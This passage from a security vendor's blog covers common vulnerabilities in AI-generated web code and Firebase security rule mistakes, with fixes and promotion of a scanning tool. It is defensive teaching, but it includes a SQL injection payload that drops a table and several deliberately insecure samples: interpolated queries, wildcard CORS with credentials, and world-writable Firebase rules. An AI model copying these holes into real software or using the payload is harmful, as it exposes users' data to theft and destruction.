    .eq('user_id', user.id); // ownership check

  return Response.json({ success: !error });
}
```

### 3. SQL Injection via String Concatenation

AI models sometimes build database queries using template literals instead of parameterized queries, especially when the prompt says "keep it simple" or "quick search."

```typescript
// Vulnerable — user input directly interpolated into SQL
const result = await pool.query(
  `SELECT * FROM products WHERE name LIKE '%${searchTerm}%'`
);
```

An attacker can pass `'; DROP TABLE products; --` as the search term and wipe your database.

**The fix:** Always use parameterized queries. Every database library supports them.

```typescript
const result = await pool.query(
  'SELECT * FROM products WHERE name LIKE $1',
  [`%${searchTerm}%`]
);
```

### 4. CORS Set to Allow All Origins

AI assistants set `Access-Control-Allow-Origin: *` because it eliminates CORS errors during development. This configuration stays in production, allowing any website to make authenticated requests to your API.

```typescript
// AI default — every origin in the world can call your API
return new Response(JSON.stringify(data), {
  headers: {
    'Access-Control-Allow-Origin': '*',
    'Access-Control-Allow-Credentials': 'true',
  },
});
```

**The fix:** Use an explicit allowlist of your own domains. For a deeper dive, read our [CORS misconfiguration guide](/blog/cors-misconfiguration-guide).

### 5. Missing Input Validation on Server Endpoints

When AI generates a form handler, it assumes the input is well-formed. There is no length check, no type validation, no sanitization. An attacker can send a 50MB JSON payload to crash your server, or inject HTML/JavaScript into fields that get rendered later.

**The fix:** Validate every input on the server side using a schema library like Zod.

```typescript
import { z } from 'zod';

const createProjectSchema = z.object({
  name: z.string().min(1).max(100),
  url: z.string().url().max(2048),
  description: z.string().max(500).optional(),
});

export async function POST(req: Request) {
  const body = await req.json();
  const parsed = createProjectSchema.safeParse(body);

  if (!parsed.success) {
    return Response.json({ error: 'Invalid input' }, { status: 400 });
  }

  // proceed with parsed.data
}
```

### 6. Insecure Direct Object References (IDOR)

AI-generated code often uses predictable, sequential IDs and does not verify that the authenticated user has access to the requested resource. If your user settings endpoint is `/api/users/42/settings`, an attacker can change `42` to `43` and access someone else's data.

**The fix:** Always verify the authenticated user owns or has permission to access the resource. Use UUIDs instead of sequential integers for resource identifiers.

### 7. Missing Rate Limiting

AI-generated API routes never include rate limiting. This means an attacker can brute-force your login endpoint, spam your contact form, exhaust your OpenAI API quota, or hammer your database — all without restriction. See our full [API security checklist](/blog/api-security-checklist) for rate limiting patterns.

### 8. Exposed Debug Endpoints and Verbose Error Messages

AI assistants create `/api/debug`, `/api/health`, or `/api/test` routes during development that expose internal state — database schemas, environment variable names, user data, or stack traces. These get deployed to production because nobody remembers to remove them.

**The fix:** Audit your `app/api/` directory for any route that is not essential to your application. Remove debug routes. Return generic error messages in production.

```typescript
// Bad — leaks internal details
return Response.json({ error: error.message, stack: error.stack }, { status: 500 });

// Good — generic message, log details server-side
console.error('API error:', error);
return Response.json({ error: 'Internal server error' }, { status: 500 });
```

### 9. Missing CSRF Protection

AI-generated forms and API handlers rarely implement CSRF tokens. If your app uses cookie-based authentication, any malicious website can trick your users' browsers into making state-changing requests to your API.

**The fix:** Validate the `Origin` header on every state-changing request. Use `SameSite=Lax` or `SameSite=Strict` on session cookies. For critical operations, implement double-submit cookie patterns or CSRF tokens.

### 10. Insecure File Upload Handling

When AI generates a file upload endpoint, it typically accepts any file type, does not check file size, and stores files in a publicly accessible location. This opens the door to path traversal attacks, malware uploads, and storage exhaustion.

**The fix:** Validate file type against an allowlist, enforce a size limit, generate random filenames, and store uploads in a private bucket with signed URLs for access.

## How to Audit Your Cursor/Copilot Project

Here is a step-by-step process you can run on any AI-generated codebase. It takes 30 minutes manually — or under 2 minutes with automated scanning.

### Step 1: Search for Exposed Secrets

Run these commands from the root of your project:

```bash
# Search for hardcoded API keys and secrets
grep -r "sk_live\|sk_test\|STRIPE_SECRET\|service_role\|DATABASE_URL" --include="*.ts" --include="*.tsx" --include="*.js" src/

# Check for secrets in client-side environment variables
grep -r "process\.env\." --include="*.tsx" --include="*.ts" src/app/ src/components/

# Look for .env files committed to git
git log --all --full-history -- "*.env" ".env*"
```

Any secret that appears in a file under `src/app/` (a client component) or `src/components/` is potentially exposed. Server-only secrets must live in API routes or server components.

### Step 2: Check Every API Route for Authentication

List all your API routes and verify each one checks for a valid session:

```bash
# Find all API route files
find src/app/api -name "route.ts" -o -name "route.tsx"
```

For each route, look for `supabase.auth.getUser()`, `getServerSession()`, or your auth middleware. Any route that modifies data (POST, PUT, PATCH, DELETE) without an authentication check is a vulnerability.

### Step 3: Test Your CORS Configuration

Open your browser console on a different domain (or use a CORS testing tool) and send a request to your API:

```javascript
fetch('https://yourapp.com/api/user', {
  credentials: 'include',
}).then(r => console.log(r.headers.get('access-control-allow-origin')));
```

If the response header is `*`, your API is open to cross-origin attacks. Fix it by implementing an origin allowlist.

### Step 4: Validate Input on Every Form and Endpoint

Search your API routes for direct use of `req.json()` or `req.body` without validation:

```bash
grep -r "req\.json()" --include="*.ts" src/app/api/
```

Every endpoint that reads request data should validate it with Zod, Yup, or a similar library before processing.

### Step 5: Run Automated Scanning with CheckVibe

Manual audits are essential but slow and incomplete. Automated scanning catches the issues you miss — and does it in seconds. CheckVibe runs 36 security scanners against your app, covering everything from exposed API keys and missing headers to XSS, SQL injection, CORS misconfiguration, and more.

You can run a scan from the [CheckVibe dashboard](https://checkvibe.dev) in one click. But the real power is running scans directly from your editor using the MCP server.

## Using CheckVibe's MCP Server in Cursor

This is where CheckVibe is fundamentally different from every other security scanner. Instead of switching to a separate tool or dashboard, you can scan your app and read results directly inside any MCP-compatible developer tool.

MCP (Model Context Protocol) is an open standard that lets compatible clients connect to external tools. CheckVibe's MCP server exposes scan and reporting actions within your normal development flow.

### Install the MCP Server

```bash
npm install -g @checkvibe/mcp-server
```

### Add It to Cursor's MCP Config

Open your Cursor MCP settings (`.cursor/mcp.json` in your project root or `~/.cursor/mcp.json` globally) and add CheckVibe:

```json
{
  "mcpServers": {
    "checkvibe": {
      "command": "npx",
      "args": ["-y", "@checkvibe/mcp-server"],
      "env": {
        "CHECKVIBE_API_KEY": "cvd_live_your_api_key_here"
      }
    }
  }
}
```

Get your API key from the [CheckVibe dashboard](https://checkvibe.dev/dashboard/api-keys) under API Keys.

### Run a Scan from Cursor

Once the MCP server is connected, you can run a scan from your MCP client:

```
"Scan https://myapp.vercel.app for security vulnerabilities"
```

The client calls the `run_scan` tool via MCP, which triggers all 36 CheckVibe security scanners against your live app. The results come back directly in the same workflow — no tab switching, no copy-pasting URLs.

### Review Fix Guidance in Context

This is the part that matters most. When the scan finds issues, you can review the relevant remediation guidance with full context:

```
"Show me the security scan results and the critical issues"
```

The client reads the scan results via `get_scan_results`, showing the specific vulnerabilities (e.g., "Missing Content-Security-Policy header," "API key exposed in client bundle," "CORS allows all origins") and the remediation guidance CheckVibe generated for them.

### Available MCP Tools

The CheckVibe MCP server provides nine tools that cover the full scan lifecycle:

| Tool | What It Does |
|------|--------------|
| `run_scan` | Trigger a full security scan on any URL |
| `get_scan_results` | Read detailed results from a completed scan |
| `list_scans` | View scan history for a project |
| `list_projects` | See all your CheckVibe projects |
| `get_project` | Get details for a specific project |
| `update_project` | Update project configuration |
| `dismiss_finding` | Mark a finding as false positive or accepted risk |
| `list_dismissals` | View dismissed findings |
| `restore_finding` | Un-dismiss a previously dismissed finding |

### Claude Code Integration

If you use Claude Code (Anthropic's CLI), the MCP server works the same way. Add it to your `~/.claude/mcp.json`:

```json
{
  "mcpServers": {
    "checkvibe": {
      "command": "npx",
      "args": ["-y", "@checkvibe/mcp-server"],
      "env": {
        "CHECKVIBE_API_KEY": "cvd_live_your_api_key_here"
      }
    }
  }
}
```

Then run scans and review findings through the same MCP workflow.

### Why MCP Changes the Security Workflow

Traditional security scanners generate a PDF report that sits in someone's inbox. The developer has to read the report, understand the findings, find the relevant files, and figure out the fix. Most findings never get fixed because the friction is too high.

With MCP, the workflow is: scan, read results, apply fixes, and verify — all from the same developer environment. The scanner finds the vulnerability and returns the context needed to resolve it.

## Cursor Rules for Security

Cursor supports project-level rules via a `.cursorrules` file in your project root. You can use this to enforce secure coding patterns on every generation. This is a proactive defense — catching issues before they are written.

Create a `.cursorrules` file with security-focused instructions:

```
# Security Rules

## API Routes
- Every API route that modifies data MUST check authentication via supabase.auth.getUser()
- Every API route MUST validate the request body using Zod schemas
- Never return raw error messages to the client. Log them server-side and return generic errors.
- Always verify resource ownership (user_id check) before UPDATE or DELETE operations.

## Environment Variables
- Never use NEXT_PUBLIC_ prefix for secret keys (Stripe secret, Supabase service role, database URLs)
- Always access secrets via process.env in server-side code only

## CORS
- Never use Access-Control-Allow-Origin: *
- Always use an explicit origin allowlist from environment variables

## Database
- Never build SQL queries with string concatenation or template literals
- Always use parameterized queries or ORM methods
- Always use Row Level Security (RLS) policies in Supabase

## Input Validation
- Validate all user input on the server side using Zod
- Enforce maximum lengths on all string fields
- Validate file uploads: check type, size, and generate random filenames

## Authentication
- Use HttpOnly, Secure, SameSite=Lax cookies for sessions
- Implement CSRF protection on all state-changing endpoints
- Never trust client-side authorization checks alone
```

These rules get included in every prompt Cursor sends to the AI model, so the generated code follows your security requirements from the start.

## Frequently Asked Questions

### Is Cursor itself secure?

Cursor encrypts your code in transit and offers privacy modes that prevent your code from being used for training. The security concern is not Cursor's infrastructure — it is the code Cursor generates. The AI model does not inherently understand your threat model, your deployment environment, or your compliance requirements. You need to audit the output.

### Does Copilot generate insecure code?

Yes. A 2024 Stanford study found that developers using AI assistants — including Copilot — produced code with 40% more security vulnerabilities than those writing code manually. Copilot is trained on public repositories, many of which contain insecure patterns. It reproduces what it learned. This is not a Copilot-specific problem; it affects Cursor, Windsurf, Claude Code, and every other AI coding tool.

### Can I trust AI-generated authentication code?

Not without review. AI-generated auth code typically handles the basic flow (sign up, log in, session management) but misses edge cases: token rotation, session invalidation on password change, brute-force protection, and secure cookie configuration. Always audit auth code manually or use a proven auth library like NextAuth, Clerk, or Supabase Auth rather than letting AI implement authentication from scratch.

### What is the fastest way to audit my AI-built app?

Run an automated security scan. [CheckVibe](https://checkvibe.dev) runs 36 specialized scanners against your live app and returns results in under two minutes. For the fastest workflow, use the [MCP server integration](#using-checkvibes-mcp-server-in-cursor) to scan and review findings without leaving your developer tools.

### What is MCP and how does it help with security?

MCP (Model Context Protocol) is an open standard that allows compatible clients to connect to external tools and data sources. CheckVibe's MCP server lets those clients run security scans and read vulnerability reports within your editor or automation workflow. It turns security scanning from a separate chore into part of your normal development process.

## Stop Shipping Vulnerabilities

AI coding tools are not going away, and neither are the security gaps they create. The solution is not to stop using Cursor or Copilot — it is to build a security check into your workflow.

Here is what to do right now:

1. **Add a `.cursorrules` file** with the security rules above
2. **Install the CheckVibe MCP server** to scan from your editor:
   ```bash
   npm install -g @checkvibe/mcp-server
   ```
3. **Run a scan on your live app** and fix the critical findings today
4. **Set up scheduled monitoring** to catch regressions as you ship new features

You ship fast. CheckVibe gives you the security verification step before those changes reach users. [Scan your app now](https://checkvibe.dev) — it takes less than two minutes.

---

*Further reading: [How to Secure Your Vibe-Coded App](/blog/how-to-secure-vibe-coded-app) | [Vibe Coding Security Risks](/blog/vibe-coding-security-risks) | [API Security Checklist](/blog/api-security-checklist) | [API Key Leak Detection](/blog/api-key-leak-detection)*


---

## Firebase Security Rules: 8 Common Mistakes That Expose Your Data

*The Firebase security rule mistakes that expose user data most often — and how to find and fix insecure Firestore and Realtime Database rules.*

Published: 2026-03-22 | Reading time: 26 min read
URL: https://checkvibe.dev/blog/firebase-security-rules-guide


In a sample of 950 open-source GitHub projects with Firebase rules, researchers found that almost 25% had security rules that left data exposed. That is not a theoretical risk — it means one in four Firebase apps was shipping with a wide-open database.

Firebase security rules are the single point of failure between your users' data and the public internet. There is no server sitting between your client app and the database. If the rules are wrong, anyone with your project config (which is public by design) can read or write your data directly.

This guide covers the eight most common Firebase security rule mistakes, with vulnerable code and fixed code for each one.

## How Firebase Security Rules Work

Firebase uses declarative rules to control who can read and write data. Every request — from your app or from a REST client — is evaluated against these rules before it touches the database.

There are three rule systems depending on the Firebase product:

**Firestore Security Rules** use a `match` and `allow` syntax:

```javascript
rules_version = '2';
service cloud.firestore {
  match /databases/{database}/documents {
    match /users/{userId} {
      allow read, write: if request.auth != null;
    }
  }
}
```

**Realtime Database Rules** use a JSON structure:

```json
{
  "rules": {
    "users": {
      "$uid": {
        ".read": "auth != null",
        ".write": "auth != null"
      }
    }
  }
}
```

**Storage Rules** control file uploads and downloads:

```javascript
rules_version = '2';
service firebase.storage {
  match /b/{bucket}/o {
    match /uploads/{userId}/{allPaths=**} {
      allow read, write: if request.auth != null;
    }
  }
}
```

The critical thing to understand: if you deploy no rules, or deploy rules with `allow read, write: if true`, your database is completely public. Anyone can read every document and write anything they want.

## Firebase Realtime Database Rules: Complete JSON Examples

Realtime Database rules live in a file called `database.rules.json`. The structure mirrors your data tree: one top-level `"rules"` object, then a node for each path, with `.read`, `.write`, `.validate`, and `.indexOn` keys attached at the level they apply to. Keys starting with `$` are wildcards that capture the child key so you can compare it against `auth.uid`.

Two behaviors decide everything else, and both are documented in [Firebase's rules syntax reference](https://firebase.google.com/docs/database/security/core-syntax):

**Default deny.** Access is disallowed by default — if no `.read` or `.write` rule is specified at or above a path, the request is denied. An empty `{"rules": {}}` file locks the whole database.

**Rules cascade downward, and grants cannot be revoked.** Shallower rules override rules at deeper paths. A `.read: true` on a parent grants read access to every descendant, and no child rule can take it back. This is the opposite of Firestore, where rules do not cascade. Practically: write your `.read` and `.write` at the deepest node that makes sense, and treat any `true` near the root as a public dump of that entire subtree.

`.validate` is the exception — it does not cascade, and it cannot grant access. It only runs on writes that were already allowed by a `.read`/`.write` rule, and only for non-null values, so it is skipped on deletes.

### Per-user private data

The baseline pattern: each user owns exactly one node keyed by their uid, and nobody else can see it.

```json
{
  "rules": {
    ".read": false,
    ".write": false,
    "users": {
      "$uid": {
        ".read": "auth !== null && auth.uid === $uid",
        ".write": "auth !== null && auth.uid === $uid",
        ".validate": "newData.hasChildren(['displayName', 'email'])",
        "displayName": {
          ".validate": "newData.isString() && newData.val().length > 0 && newData.val().length <= 100"
        },
        "email": {
          ".validate": "newData.isString() && newData.val().contains('@') && newData.val().length <= 254"
        },
        "avatarUrl": {
          ".validate": "newData.isString() && newData.val().beginsWith('https://')"
        },
        "$other": {
          ".validate": false
        }
      }
    }
  }
}
```

The `$other` node with `".validate": false` is the part most rule files are missing. Without it, an authenticated user can write `plan`, `credits`, or `isAdmin` into their own node, because `.write` already said yes and no validation rule objects to unknown keys. With it, any key you did not explicitly list is rejected. Fields your server owns — plan, role, billing — simply never appear in this file, and your backend writes them with the Admin SDK, which is not subject to these rules.

The explicit `".read": false` and `".write": false` at the root are redundant (deny is the default) but they document intent, and they make it obvious in code review if someone later flips one to `true`.

### Public read, authenticated write

For content that is meant to be world-readable — published posts, a public directory — put the `true` on the smallest possible subtree.

```json
{
  "rules": {
    "posts": {
      ".read": true,
      ".indexOn": ["publishedAt", "authorId"],
      "$postId": {
        ".write": "auth !== null && (!data.exists() || data.child('authorId').val() === auth.uid)",
        ".validate": "newData.hasChildren(['title', 'body', 'authorId', 'publishedAt'])",
        "title": {
          ".validate": "newData.isString() && newData.val().length > 0 && newData.val().length <= 120"
        },
        "body": {
          ".validate": "newData.isString() && newData.val().length <= 20000"
        },
        "authorId": {
          ".validate": "newData.val() === auth.uid && (!data.exists() || data.val() === newData.val())"
        },
        "publishedAt": {
          ".validate": "newData.isNumber() && newData.val() <= now"
        },
        "$other": {
          ".validate": false
        }
      }
    }
  }
}
```

Three things are doing work here. The `.write` expression splits create from update: `!data.exists()` is a create (allowed for any signed-in user), otherwise the existing `authorId` must match the caller, which covers both edits and deletes of someone else's post. The `authorId` validation pins the field to the caller and makes it immutable after creation, so nobody can reassign a post to another author. And because `.read: true` sits on `posts`, everything under `posts` is public — never park draft content, moderation notes, or author email addresses in that subtree.

### Chat rooms and messages

The pattern that breaks most often. Membership lives in its own top-level node so that rules can check it with `root.child(...)` without granting read access to the room itself.

```json
{
  "rules": {
    "members": {
      "$roomId": {
        ".read": "auth !== null && data.child(auth.uid).exists()",
        "$uid": {
          ".write": "auth !== null && root.child('members').child($roomId).child(auth.uid).val() === 'owner'",
          ".validate": "newData.isString() && newData.val().matches(/^(owner|member)$/)"
        }
      }
    },
    "rooms": {
      "$roomId": {
        "meta": {
          ".read": "auth !== null && root.child('members').child($roomId).child(auth.uid).exists()",
          ".write": "auth !== null && root.child('members').child($roomId).child(auth.uid).val() === 'owner'",
          "name": {
            ".validate": "newData.isString() && newData.val().length <= 80"
          },
          "$other": {
            ".validate": false
          }
        },
        "messages": {
          ".read": "auth !== null && root.child('members').child($roomId).child(auth.uid).exists()",
          ".indexOn": ["createdAt"],
          "$messageId": {
            ".write": "auth !== null && root.child('members').child($roomId).child(auth.uid).exists() && (!data.exists() || data.child('senderId').val() === auth.uid)",
            ".validate": "newData.hasChildren(['senderId', 'text', 'createdAt'])",
            "senderId": {
              ".validate": "newData.val() === auth.uid"
            },
            "text": {
              ".validate": "newData.isString() && newData.val().length > 0 && newData.val().length <= 2000"
            },
            "createdAt": {
              ".validate": "newData.isNumber() && newData.val() === now && !data.exists()"
            },
            "$other": {
              ".validate": false
            }
          }
        }
      }
    }
  }
}
```

Note where the read rules sit: on `rooms/$roomId/meta` and `rooms/$roomId/messages`, not on `rooms/$roomId`. If you hoisted a single `.read` up to `$roomId` it would still be correct here, but the moment you add a private child node under the room, the cascade hands it to every member. Deep is safer.

`createdAt` uses `newData.val() === now`, which forces the client to write `ServerValue.TIMESTAMP` — a hardcoded number will not match the server clock and the write fails. The `!data.exists()` in the same expression refers to the `createdAt` node itself, making the field write-once, so an edited message cannot backdate itself. If you want to allow clients to send their own timestamps, loosen it to `newData.val() <= now`.

### `.validate` rules worth copying

`.validate` is where you stop clients from writing garbage. The expressions available on `newData` and `data`:

```json
{
  "rules": {
    "examples": {
      "$id": {
        "aString":    { ".validate": "newData.isString() && newData.val().length <= 500" },
        "aNumber":    { ".validate": "newData.isNumber() && newData.val() >= 0 && newData.val() <= 100" },
        "aBoolean":   { ".validate": "newData.isBoolean()" },
        "anEnum":     { ".validate": "newData.val() === 'draft' || newData.val() === 'published'" },
        "aReference": { ".validate": "root.child('users').child(newData.val()).exists()" },
        "writeOnce":  { ".validate": "!data.exists()" },
        "required":   { ".validate": "newData.exists()" }
      }
    }
  }
}
```

Remember that `.validate` never grants anything. If a node has only `.validate` rules and no `.read`/`.write` at or above it, every request to it is still denied.

### `.indexOn` for queries

`.indexOn` goes on the node whose *children* you query, listing the child keys you order or filter by. If your client calls `ref('posts').orderByChild('publishedAt').limitToLast(20)`, the index belongs on `posts`:

```json
{
  "rules": {
    "posts": {
      ".read": true,
      ".indexOn": ["publishedAt", "authorId"]
    },
    "leaderboard": {
      "$season": {
        ".read": "auth !== null",
        ".indexOn": ".value"
      }
    }
  }
}
```

Use `".indexOn": ".value"` when you sort with `orderByValue()` on primitive children instead of `orderByChild()`. Without an index, the client SDKs still return correct results but Firebase logs an unspecified-index warning and the query degrades as the node grows, because the filtering happens after the data is transferred; the REST API requires the index outright. See [Firebase's indexing guide](https://firebase.google.com/docs/database/security/indexing-data) for the full behavior. Keys are indexed automatically, so `orderByKey()` needs nothing.

### Deploying rules: emulator first, then CLI

Each product has its own deploy target, and each target reads a file path declared in `firebase.json`:

```json
{
  "database": { "rules": "database.rules.json" },
  "firestore": { "rules": "firestore.rules", "indexes": "firestore.indexes.json" },
  "storage": { "rules": "storage.rules" }
}
```

Run the rules against the emulator before they ever reach production:

```bash
# Boot the emulators locally
firebase emulators:start --only firestore,database,storage

# Or run your rules test suite and shut everything down afterwards (CI-friendly)
firebase emulators:exec --only firestore,database "npm test"
```

Then ship the rules on their own, without dragging functions or hosting along:

```bash
firebase deploy --only firestore:rules
firebase deploy --only database
firebase deploy --only storage

# Or all three in one go
firebase deploy --only firestore:rules,database,storage
```

`firestore:rules` and `firestore:indexes` are separate targets, so deploying rules will not touch your composite indexes. A deploy replaces the live ruleset wholesale — there is no partial merge — which means the file in your repo must always be the complete, current ruleset. Rolling back is a redeploy of the previous file from version control.

## The 8 Mistakes

### 1. Leaving Rules Wide Open

The single most common Firebase security mistake is the "fix it later" rule:

**Vulnerable:**

```javascript
rules_version = '2';
service cloud.firestore {
  match /databases/{database}/documents {
    match /{document=**} {
      allow read, write: if true;
    }
  }
}
```

This grants full read and write access to every document in your database to anyone on the internet. No authentication required. Firebase even shows a warning banner in the console when you deploy this, but developers dismiss it during development and forget to change it before launch.

**Fixed:**

```javascript
rules_version = '2';
service cloud.firestore {
  match /databases/{database}/documents {
    // No default access — every collection must have explicit rules
    match /users/{userId} {
      allow read: if request.auth != null && request.auth.uid == userId;
      allow write: if request.auth != null && request.auth.uid == userId;
    }
  }
}
```

The fix is to never use a wildcard `{document=**}` with open permissions. Define rules per collection, and require authentication at minimum.

### 2. Only Checking Authentication Without Verifying Ownership

This is the second most common mistake. The rules check that a user is logged in, but not that they own the data they are accessing:

**Vulnerable:**

```javascript
match /users/{userId} {
  allow read, write: if request.auth != null;
}
```

Any authenticated user can read and modify any other user's document. If user A is logged in, they can read user B's profile, change their email, or delete their data.

**Fixed:**

```javascript
match /users/{userId} {
  allow read, write: if request.auth != null && request.auth.uid == userId;
}
```

The `request.auth.uid == userId` check ensures users can only access their own documents. This is ownership verification — the single most important pattern in Firebase security rules.

For data that needs to be shared (like a team workspace), use a field-based check:

```javascript
match /projects/{projectId} {
  allow read: if request.auth != null &&
    request.auth.uid in resource.data.members;
  allow write: if request.auth != null &&
    request.auth.uid == resource.data.ownerId;
}
```

### 3. Missing Field-Level Validation

Even with ownership checks, users can write arbitrary fields to their own documents if you do not validate the incoming data:

**Vulnerable:**

```javascript
match /users/{userId} {
  allow read: if request.auth.uid == userId;
  allow write: if request.auth.uid == userId;
}
```

A malicious user could write fields like `isAdmin: true`, `plan: "enterprise"`, or `credits: 999999` to their own profile document. If your app logic reads these fields to gate features, you have a privilege escalation vulnerability.

**Fixed:**

```javascript
match /users/{userId} {
  allow read: if request.auth.uid == userId;
  allow create: if request.auth.uid == userId &&
    request.resource.data.keys().hasOnly(['name', 'email', 'avatarUrl']) &&
    request.resource.data.name is string &&
    request.resource.data.email is string;
  allow update: if request.auth.uid == userId &&
    request.resource.data.diff(resource.data).affectedKeys()
      .hasOnly(['name', 'avatarUrl']);
}
```

Key points:
- Use `hasOnly()` to restrict which fields can be written
- Split `write` into `create`, `update`, and `delete` for granular control
- Use `diff().affectedKeys()` on updates to restrict which fields can be changed
- Never let clients write billing, role, or permission fields

### 4. Cascading Rules Granting Unintended Access

In Firestore, rules do not cascade from parent to child collections. But in the Realtime Database, they do — and this catches people off guard:

**Vulnerable (Realtime Database):**

```json
{
  "rules": {
    "chats": {
      ".read": true,
      ".write": "auth != null",
      "$chatId": {
        "messages": {
          "$messageId": {
            ".write": "auth.uid === newData.child('sender').val()"
          }
        }
      }
    }
  }
}
```

The `.read: true` on `chats` grants read access to the entire `chats` tree, including all messages in all chat rooms. The more restrictive rules on child nodes are irrelevant because the parent already granted access.

**Fixed:**

```json
{
  "rules": {
    "chats": {
      "$chatId": {
        ".read": "auth != null && root.child('chatMembers').child($chatId).child(auth.uid).exists()",
        "messages": {
          "$messageId": {
            ".write": "auth != null && auth.uid === newData.child('sender').val()"
          }
        }
      }
    }
  }
}
```

In Realtime Database rules, always put access controls at the deepest level possible, and never set `.read: true` or `.write: true` on parent nodes.

In Firestore, the opposite is true: rules on `/chats/{chatId}` do not apply to `/chats/{chatId}/messages/{messageId}`. You must write explicit rules for subcollections. This is safer by default, but means you need to remember to add rules for every subcollection.

### 5. Not Validating Data Types

Firebase stores whatever your client sends. If you expect a number and a user sends a string, your app breaks — or worse, your aggregation logic produces wrong results:

**Vulnerable:**

```javascript
match /orders/{orderId} {
  allow create: if request.auth != null &&
    request.resource.data.userId == request.auth.uid;
}
```

A user can create an order with `{ quantity: "abc", price: -100, userId: "their-uid" }`. No type checking, no range validation.

**Fixed:**

```javascript
match /orders/{orderId} {
  allow create: if request.auth != null &&
    request.resource.data.userId == request.auth.uid &&
    request.resource.data.quantity is int &&
    request.resource.data.quantity > 0 &&
    request.resource.data.quantity <= 100 &&
    request.resource.data.price is number &&
    request.resource.data.price > 0 &&
    request.resource.data.status == 'pending' &&
    request.resource.data.createdAt == request.time;
}
```

Always validate:
- **Types**: Use `is string`, `is int`, `is number`, `is bool`, `is timestamp`
- **Ranges**: Check minimum and maximum values for numbers
- **Enums**: Validate against allowed values with `in ['pending', 'active', 'cancelled']`
- **Server timestamps**: Force `createdAt` to use `request.time` so clients cannot forge timestamps

### 6. Exposing Admin-Only Collections

Many apps store configuration, feature flags, or analytics data in Firebase. These collections often have no rules at all, which means they inherit the default (deny all in Firestore, but may be open in Realtime Database if a parent rule allows it):

**Vulnerable:**

```javascript
rules_version = '2';
service cloud.firestore {
  match /databases/{database}/documents {
    match /users/{userId} {
      allow read, write: if request.auth.uid == userId;
    }
    // No rules for /admin, /config, /analytics
    // In Firestore, this means denied by default — but developers
    // often "fix" this by adding a wildcard rule
    match /{document=**} {
      allow read: if request.auth != null;
    }
  }
}
```

That wildcard at the bottom gives every logged-in user read access to `/admin`, `/config`, and every other collection.

**Fixed:**

```javascript
rules_version = '2';
service cloud.firestore {
  match /databases/{database}/documents {
    match /users/{userId} {
      allow read, write: if request.auth.uid == userId;
    }

    match /admin/{document=**} {
      allow read, write: if request.auth != null &&
        request.auth.token.admin == true;
    }

    match /config/{document} {
      allow read: if request.auth != null;
      allow write: if request.auth != null &&
        request.auth.token.admin == true;
    }

    // No wildcard fallback — unlisted collections are denied
  }
}
```

Use Firebase custom claims (`request.auth.token.admin`) to gate admin access. Set these claims from your backend using the Admin SDK — they cannot be set by the client.

Never add a wildcard match rule as a "convenience" fallback. Every collection should have explicit rules.

### 7. Forgetting Storage Rules

Developers spend time on Firestore rules but completely forget about Firebase Storage. The default storage rules in a new project often look like this:

**Vulnerable:**

```javascript
rules_version = '2';
service firebase.storage {
  match /b/{bucket}/o {
    match /{allPaths=**} {
      allow read, write: if true;
    }
  }
}
```

This means anyone can upload any file (including malicious executables), overwrite other users' files, and read all stored files. Combined with file path enumeration, an attacker can download every file in your storage bucket.

**Fixed:**

```javascript
rules_version = '2';
service firebase.storage {
  match /b/{bucket}/o {
    match /users/{userId}/avatar/{fileName} {
      allow read: if request.auth != null;
      allow write: if request.auth != null &&
        request.auth.uid == userId &&
        request.resource.size < 5 * 1024 * 1024 &&
        request.resource.contentType.matches('image/.*');
    }

    match /users/{userId}/documents/{fileName} {
      allow read: if request.auth != null &&
        request.auth.uid == userId;
      allow write: if request.auth != null &&
        request.auth.uid == userId &&
        request.resource.size < 10 * 1024 * 1024;
    }
  }
}
```

Storage rules should always:
- Verify ownership via `request.auth.uid`
- Limit file size with `request.resource.size`
- Validate content type with `request.resource.contentType`
- Use specific paths instead of wildcards
- Separate public files (like avatars) from private files (like documents) with different read rules

### 8. Not Testing Rules Before Deploy

Firebase provides a Rules Playground in the console and a local emulator for testing rules. Most developers never use either one, deploying rules and hoping for the best.

**The risky approach:**

```bash
# Write rules, deploy, hope it works
firebase deploy --only firestore:rules
```

**The correct approach:**

First, use the Firebase Emulator Suite to test rules locally:

```javascript
// rules.test.js
const { initializeTestEnvironment, assertFails, assertSucceeds } =
  require('@firebase/rules-unit-testing');

const testEnv = await initializeTestEnvironment({
  projectId: 'my-project',
  firestore: {
    rules: fs.readFileSync('firestore.rules', 'utf8'),
  },
});

// Test: Authenticated user can read own data
const alice = testEnv.authenticatedContext('alice');
await assertSucceeds(
  alice.firestore().collection('users').doc('alice').get()
);

// Test: Authenticated user CANNOT read other user's data
await assertFails(
  alice.firestore().collection('users').doc('bob').get()
);

// Test: Unauthenticated user cannot read anything
const unauthed = testEnv.unauthenticatedContext();
await assertFails(
  unauthed.firestore().collection('users').doc('alice').get()
);
```

Write tests for every rule. At minimum, test:
- Unauthenticated access is denied
- Users cannot read other users' data
- Users cannot write fields they should not (roles, billing, permissions)
- Invalid data types are rejected
- Admin collections are locked down

You can also use the Rules Playground in the Firebase Console (Firestore > Rules > Rules Playground) to simulate individual requests and see which rule allowed or denied them.

## Does the Firebase Admin SDK Bypass Security Rules?

Yes, completely. This is documented, intended behavior — not a bug and not something you can configure away.

Firebase's own documentation is explicit. For Firestore: "The server client libraries bypass all Cloud Firestore Security Rules and instead authenticate through Google Application Default Credentials" ([Get started with Cloud Firestore Security Rules](https://firebase.google.com/docs/firestore/security/get-started)). For the Realtime Database, an app initialized with admin credentials "has access to read and write all data, regardless of Security Rules" ([Add the Firebase Admin SDK to your server](https://firebase.google.com/docs/database/admin/start)). The same holds for Cloud Storage accessed through the Admin SDK or the Google Cloud Storage client libraries.

So security rules govern exactly two things:

- Requests from the client SDKs (web, iOS, Android, Flutter, Unity)
- REST requests that carry an end-user ID token — for example `https://your-project.firebaseio.com/users/abc.json?auth=<id-token>`

Anything holding a service account key is outside that boundary entirely.

### What this means in practice

**A leaked service account key is total compromise.** Your rules can be flawless and it will not matter. Treat `serviceAccountKey.json` like a root password: never commit it, never bundle it into client code, never expose it through a `NEXT_PUBLIC_`, `VITE_`, or `REACT_APP_` environment variable (those are inlined into the browser bundle at build time), and rotate it immediately if it ever lands in a repo or a log. Prefer Application Default Credentials on managed runtimes like Cloud Functions and Cloud Run so there is no key file to leak in the first place.

**Your server code is its own authorization layer.** Every Cloud Function, API route, and background job that uses the Admin SDK must authenticate and authorize on its own, because the database will not do it for you:

```javascript
import { getAuth } from 'firebase-admin/auth';
import { getFirestore } from 'firebase-admin/firestore';

const WRITABLE_FIELDS = ['name', 'avatarUrl'];

export async function updateProfile(idToken, targetUserId, patch) {
  // 1. Authenticate: prove the caller is who they claim to be.
  const decoded = await getAuth().verifyIdToken(idToken);

